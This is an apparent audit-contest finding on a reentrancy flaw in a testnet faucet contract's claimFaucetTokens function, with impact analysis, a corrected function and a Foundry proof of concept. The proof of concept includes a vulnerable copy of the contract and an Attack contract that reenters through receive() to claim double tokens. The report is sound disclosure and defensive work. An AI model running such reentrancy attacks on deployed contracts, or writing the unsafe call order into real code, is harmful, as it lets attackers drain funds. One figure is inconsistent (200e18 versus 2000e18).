Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

# Reentrancy in `claimFaucetTokens` Allows Double Token Claims

Description

Contract Reference: RaiseBoxFaucet.sol

The claimFaucetTokens function is vulnerable to reentrancy due to an external ETH transfer (faucetClaimer.call{value: sepEthAmountToDrip}) before updating critical state variables (lastClaimTime, dailyClaimCount) and executing the token transfer (_transfer), violating the Checks-Effects-Interactions (CEI) pattern. A malicious contract can reenter during its receive or fallback function, passing the cooldown and daily claim limit checks (since lastClaimTime[msg.sender] and dailyClaimCount are not yet updated), claiming an extra faucetDrip of tokens in a single transaction. The ETH drip is not repeated due to hasClaimedEth being set before the call, and subsequent reentrant calls fail due to the cooldown. This vulnerability manifests only during the first claim when ETH is dripped (!hasClaimedEth[msg.sender] && !sepEthDripsPaused and other conditions are met).

Invariant Violation: The contract intends to drip exactly 1000 tokens per user every 3 days (Token Drip Invariant). The reentrancy allows a user to claim 2000 tokens in a single transaction, breaking this invariant and undermining fair distribution.

Severity

High

Risk

  • Likelihood of Exploitation: High. The vulnerability is straightforward to exploit by deploying a malicious contract with a receive or fallback function that reenters claimFaucetTokens. As a public Sepolia faucet, it’s accessible to anyone, and attackers can deploy multiple contracts to maximize exploitation within the daily claim limit (dailyClaimLimit = 100). The low technical barrier and lack of authentication make it an attractive target.

  • Potential Consequences: Attackers can claim double the intended tokens (2x faucetDrip = 200e18) per contract address, potentially exhausting the faucet’s token supply (1000000e18) and daily claim limit faster than intended. This disrupts the faucet’s purpose of providing fair access to test tokens/ETH for developers, as legitimate users may be unable to claim due to depleted resources.

  • Contextual Factors: The testnet environment reduces financial risk, but the public nature of the faucet increases the likelihood of coordinated attacks (e.g., bot-driven contract deployments). The vulnerability is constrained by the daily claim limit and the requirement for a first-time claim with ETH dripping enabled, limiting the scale of abuse.

Impact

  • Financial Loss: An attacker can claim an extra faucetDrip amount of tokens per exploiting contract address, potentially draining the faucet's token supply faster than intended.

  • Bypasses Limits: It partially bypasses the per-user cooldown, allowing double claims in one transaction without waiting.

  • Limited Scope: The exploit is capped at one extra claim per address (double total) and requires deploying a contract that hasn't claimed before. It doesn't allow unlimited reentrancy due to the cooldown enforcement on subsequent calls. No ETH is duplicated because hasClaimedEth and dailyDrips are updated before the call. If sepEthDripsPaused is true or the ETH cap/balance is insufficient, no ETH is sent, preventing reentrancy.

  • Real-World Risk: As a public faucet on Sepolia, malicious actors could deploy multiple contracts to amplify the impact, consuming the daily claim limit and depriving legitimate users.

Tools Used

  • Manual review.

  • Foundry: Used to develop and test the PoC, verifying the exploit.

Recommended Mitigation

  • Implement CEI Strictly: Move all state updates (lastClaimTime[faucetClaimer] = block.timestamp;, dailyClaimCount++;) and the token transfer (_transfer) before the ETH transfer logic. Ensure the daily claim reset logic is also placed appropriately to avoid inconsistencies.

  • Add Reentrancy Guard: Use OpenZeppelin's ReentrancyGuard modifier on claimFaucetTokens to prevent reentrant calls.

  • Prevent Contract Callers (Optional): Add a check to ensure msg.sender is an EOA (e.g., if (msg.sender.code.length > 0) revert;), though note this can be bypassed during contract construction.

  • Updated Function Structure Example:

    function claimFaucetTokens() public nonReentrant {
    // All checks
    faucetClaimer = msg.sender;
    if (block.timestamp < (lastClaimTime[faucetClaimer] + CLAIM_COOLDOWN)) revert RaiseBoxFaucet_ClaimCooldownOn();
    if (msg.sender == address(0) || msg.sender == address(this) || msg.sender == owner()) revert RaiseBoxFaucet_OwnerOrZeroOrContractAddressCannotCallClaim();
    if (balanceOf(address(this)) <= faucetDrip) revert RaiseBoxFaucet_InsufficientContractBalance();
    if (dailyClaimCount >= dailyClaimLimit) revert RaiseBoxFaucet_DailyClaimLimitReached();
    // Effects and token transfer
    if (block.timestamp > lastFaucetDripDay + 1 days) {
    lastFaucetDripDay = block.timestamp;
    dailyClaimCount = 0;
    }
    lastClaimTime[faucetClaimer] = block.timestamp;
    dailyClaimCount++;
    _transfer(address(this), msg.sender, faucetDrip);
    // ETH drip last
    if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
    uint256 currentDay = block.timestamp / 24 hours;
    if (currentDay > lastDripDay) {
    lastDripDay = currentDay;
    dailyDrips = 0;
    }
    if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
    hasClaimedEth[msg.sender] = true;
    dailyDrips += sepEthAmountToDrip;
    (bool success,) = msg.sender.call{value: sepEthAmountToDrip}("");
    if (!success) revert RaiseBoxFaucet_EthTransferFailed();
    emit SepEthDripped(msg.sender, sepEthAmountToDrip);
    } else {
    emit SepEthDripSkipped(msg.sender, address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached");
    }
    } else {
    dailyDrips = 0;
    }
    emit Claimed(msg.sender, faucetDrip);
    }

Proof of Concept

The PoC demonstrates a malicious contract reentering claimFaucetTokens during ETH receipt, receiving 2x faucetDrip tokens (2000e18) and 1x sepEthAmountToDrip ETH (0.005 ether). Without reentrancy, it would receive only 1x faucetDrip (1000e18).

Note: The dailyClaimLimit and dailySepEthCap are assumed as 100 and 1 ether, respectively. Verify against the actual contract constants.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {Test, console} from "forge-std/Test.sol";
import {ERC20} from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
import {Ownable} from "openzeppelin-contracts/contracts/access/Ownable.sol";
contract RaiseBoxFaucet is ERC20, Ownable {
mapping(address => uint256) public lastClaimTime;
mapping(address => bool) public hasClaimedEth;
address public faucetClaimer;
uint256 public constant CLAIM_COOLDOWN = 3 days;
uint256 public constant faucetDrip = 1000 * 10**18;
uint256 public constant dailyClaimLimit = 100;
uint256 public constant sepEthAmountToDrip = 0.005 ether;
uint256 public constant dailySepEthCap = 1 ether;
bool public sepEthDripsPaused;
uint256 public dailyClaimCount;
uint256 public lastFaucetDripDay;
uint256 public dailyDrips;
uint256 public lastDripDay;
event Claimed(address indexed claimer, uint256 amount);
event SepEthDripped(address indexed claimer, uint256 amount);
event SepEthDripSkipped(address indexed claimer, string reason);
error RaiseBoxFaucet_ClaimCooldownOn();
error RaiseBoxFaucet_OwnerOrZeroOrContractAddressCannotCallClaim();
error RaiseBoxFaucet_InsufficientContractBalance();
error RaiseBoxFaucet_DailyClaimLimitReached();
error RaiseBoxFaucet_EthTransferFailed();
constructor() ERC20("RaiseBox", "RBX") Ownable(msg.sender) {
_mint(address(this), 1000000 * 10**18);
}
function claimFaucetTokens() public {
faucetClaimer = msg.sender;
if (block.timestamp < (lastClaimTime[faucetClaimer] + CLAIM_COOLDOWN)) {
revert RaiseBoxFaucet_ClaimCooldownOn();
}
if (faucetClaimer == address(0) || faucetClaimer == address(this) || faucetClaimer == Ownable.owner()) {
revert RaiseBoxFaucet_OwnerOrZeroOrContractAddressCannotCallClaim();
}
if (balanceOf(address(this)) <= faucetDrip) {
revert RaiseBoxFaucet_InsufficientContractBalance();
}
if (dailyClaimCount >= dailyClaimLimit) {
revert RaiseBoxFaucet_DailyClaimLimitReached();
}
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
);
}
} else {
dailyDrips = 0;
}
if (block.timestamp > lastFaucetDripDay + 1 days) {
lastFaucetDripDay = block.timestamp;
dailyClaimCount = 0;
}
lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;
_transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
}
function getUserLastClaimTime(address user) external view returns (uint256) {
return lastClaimTime[user];
}
}
contract Attack {
RaiseBoxFaucet public faucet;
bool private reentered;
constructor(RaiseBoxFaucet _faucet) {
faucet = _faucet;
}
function attack() external {
faucet.claimFaucetTokens();
}
receive() external payable {
if (!reentered) {
reentered = true;
try faucet.claimFaucetTokens() {
// Success: reentrant call worked
} catch {
// Reentrant call failed (expected due to cooldown or other checks)
}
}
}
}
contract RaiseBoxFaucetReentrancyPoC is Test {
RaiseBoxFaucet faucet;
Attack attacker;
function setUp() public {
// Deploy faucet and fund it with ETH and tokens
faucet = new RaiseBoxFaucet();
vm.deal(address(faucet), 10 ether);
attacker = new Attack(faucet);
// Ensure timestamp is fresh
vm.warp(1 days * 1000);
}
function test_ReentrancyDoubleClaim() public {
uint256 initialTokenBalance = faucet.balanceOf(address(attacker));
uint256 initialEthBalance = address(attacker).balance;
uint256 initialDailyCount = faucet.dailyClaimCount();
uint256 initialLastClaimTime = faucet.getUserLastClaimTime(address(attacker));
assertEq(initialTokenBalance, 0, "Initial token balance should be 0");
assertEq(initialEthBalance, 0, "Initial ETH balance should be 0");
assertEq(initialDailyCount, 0, "Initial daily claim count should be 0");
assertEq(initialLastClaimTime, 0, "Initial last claim time should be 0");
// Execute attack
attacker.attack();
uint256 finalTokenBalance = faucet.balanceOf(address(attacker));
uint256 finalEthBalance = address(attacker).balance;
uint256 finalDailyCount = faucet.dailyClaimCount();
uint256 finalLastClaimTime = faucet.getUserLastClaimTime(address(attacker));
// Assertions
assertEq(finalTokenBalance, 2 * faucet.faucetDrip(), "Attacker should receive 2x faucetDrip tokens");
assertEq(finalEthBalance, faucet.sepEthAmountToDrip(), "Attacker should receive 1x sepEthAmountToDrip");
assertEq(finalDailyCount, 2, "Daily claim count should increment twice");
assertTrue(faucet.hasClaimedEth(address(attacker)), "hasClaimedEth should be true");
assertEq(finalLastClaimTime, block.timestamp, "Last claim time should be updated");
console.log(
"Exploit successful: Attacker received %s tokens (expected %s, got 2x) and %s ETH",
finalTokenBalance / 1e18,
faucet.faucetDrip() / 1e18,
finalEthBalance / 1e18
);
}
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 4 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `claimFaucetTokens`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.